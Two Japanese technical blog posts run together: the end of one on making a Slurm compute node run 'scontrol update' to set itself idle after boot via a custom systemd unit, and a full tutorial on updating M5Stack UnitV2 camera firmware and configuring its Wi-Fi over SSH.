## 計算ノード起動後に自動でscontrol update

計算ノードの`rc.local`に`scontrol update`コマンドを書きたいが、これも起動順序の関係で動かないことがある。そこで、システムの全てのサービス(`default.target`)が起動した後に実行するスクリプトとして`rc.local.lastest`を作る。
```
vi /usr/lib/systemd/system/rc-local-lastest.service

#記述内容##########################
[Unit]
After=default.target

[Install]
WantedBy=default.target

[Service]
Type=forking
ExecStart=/etc/rc.local.lastest

```

これをサービスに登録
```
systemctl enable rc-local-lastest
```
これで、`/etc/systemd/system/default.target.wants/`にシンボリックリンクができていれば成功

次に、`rc.local.lastest`の中身は次のようにする。
```
vi /etc/rc.local.lastest
#中身
#!/bin/bash
#this script is expected to be performed after all default services
scontrol update nodename=hostname01 state=idle
```
また、実行権限も変更
```
chmod 755 /etc/rc.local.lastest
```
再起動してみる。
sinfoの情報がidleに設定された。

## おわりに

誰かのお役に立てば幸いです。メリークリスマス！
M5Stack UnitV2 AIカメラを買ったら最初にやる設定（ファームウェアアップデートとWi-Fi接続）

# M5Stack UnitV2 AIカメラとは？
M5StackシリーズのAIカメラ。非常に小型（5cm未満）で、Linuxも搭載されている優れものです。
価格は2022年11月時点で11,500円くらいでした。
![PXL_20221216_095212072.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/152304/8367f606-15c6-9501-9bbf-d7c0111ae84e.jpeg)

USBケーブルでPCと接続し、[http://unitv2.py/](http://unitv2.py/) を開けば画像認識機能を試すことができます。
Jupyter Notebookモードに切り替えて、自分でプログラミングすることも可能です。
![FireShot Capture 050 - Unit V2 - unitv2.py.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/152304/5f93ec82-a14d-7404-699c-b5457083ae39.png)

Wi-Fiに繋げば、PCや他デバイスと繋がなくてもOKです。
UnitV2は小型であることが最大の魅力だと思うので、やはり単体で使いたいですよね。
しかしWi-Fi接続でちょこっとハマったので、備忘録を残しておきたいと思います。

# 最初に行う設定
基本的に公式の [チュートリアル](https://docs.m5stack.com/en/quick_start/unitv2/base_functions) に記載された手順に従って進めていけばOKです。
ただし、上から順番にやっていくと落とし穴があります・・・

# Wi-Fi接続
チュートリアルの [SSH & WIFI](https://docs.m5stack.com/en/quick_start/unitv2/config) には、
sshログインして `wpa_supplicant.conf` を編集するよう記載されています。
まずはWi-Fiパスワードの暗号化から・・・

```
sudo wpa_passphrase [SSID] [パスワード]
```

すると、sudoコマンドでエラーが発生しました。
```
sudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bit set
```

このエラーメッセージでWeb検索するとパーミッションの問題という記事がいくつか見つかりますが、
まだログインしかしてないのに・・・

結論としては、ファームウェアアップデートをすれば直ります！

# ファームウェアアップデート
こちらもチュートリアルに記載された通りに進めれば大丈夫です。
[Firmware Update](https://docs.m5stack.com/en/quick_start/unitv2/update)

まず最新版のファームウェアをPCにダウンロードしましょう。
![FireShot Capture 051 - m5-docs - docs.m5stack.com.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/152304/6aad347b-c31f-807c-aee6-c5e1338f9c18.png)
ダウンロードが完了したらファイルを展開し、`M5UnitV2UpdPackage.img` が含まれていることを確認します。

つづいてUnitV2からSDカードを取り出し、カードリーダをPCに繋いでフォーマットします。
私はWin11標準の機能でフォーマットしました。
SDカードが認識されているドライブを右クリックし、以下の設定で実行しました。
なんとなくクイックフォーマットは外しましたが別についててもいいかもしれません。
![フォーマット.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/152304/edd7b089-e2ec-c51f-7349-1b6e636c19ce.png)

フォーマットが完了したら、SDカード内に `M5UnitV2UpdPackage.img` を配置しましょう。
![ファームウェア配置.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/152304/fb660bf3-97bb-f6bf-ae04-093e0880270d.png)

これで準備完了です！
SDカードをUnitV2に戻し、上部のボタンを押しながらUSBケーブルを刺して電源を入れます。
公式の [動画](https://docs.m5stack.com/en/quick_start/unitv2/update#video) を参考にしてください。

# 再度、Wi-Fi接続
一度UnitV2にsshログイン済みの場合、以前のフィンガープリントがPCに残ってしまっているので、
削除してまっさらな状態にします。
Win11では、以下のフォルダにフィンガープリントが保存されています。
```
C:\Users\ユーザー名\.ssh\known_hosts
```

この `known_hosts` をテキストエディタで開き、以下の行を削除しましょう。
```
10.254.239.1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
```
この行しか書かれていない場合は、ファイルごと削除してしまってOKです。

これでsshログインできるようになりました。
```
ssh m5stack@10.254.239.1 
```

Wi-Fi接続先のSSIDとパスワードを入力して、パスワードを暗号化します。
```
sudo wpa_passphrase [SSID] [パスワード]
```

暗号化されたパスワードを含むネットワーク設定が表示されるので、すべてコピーしましょう。
```
network={
        ssid="[SSID]"
        #psk="[パスワード平文]"
        psk=[暗号化されたパスワード]
}
```

`wpa_supplicant.conf` を編集します。
```
sudo nano /etc/wpa_supplicant.conf
```

ファイルが開いたら、先ほどコピーした内容を一番下に追加します。
このとき、`#psk="[パスワード平文]"` の行は消しましょう。
```
eapol_version=1
ap_scan=1
fast_reauth=1

network={
        ssid="[SSID]"
        psk=[暗号化されたパスワード]
}
```

一度UnitV2からUSBケーブルを抜き、再起動するとWi-Fiに繋がるようになります。

教訓：ファームウェアアップデートは最初にやらないとダメ！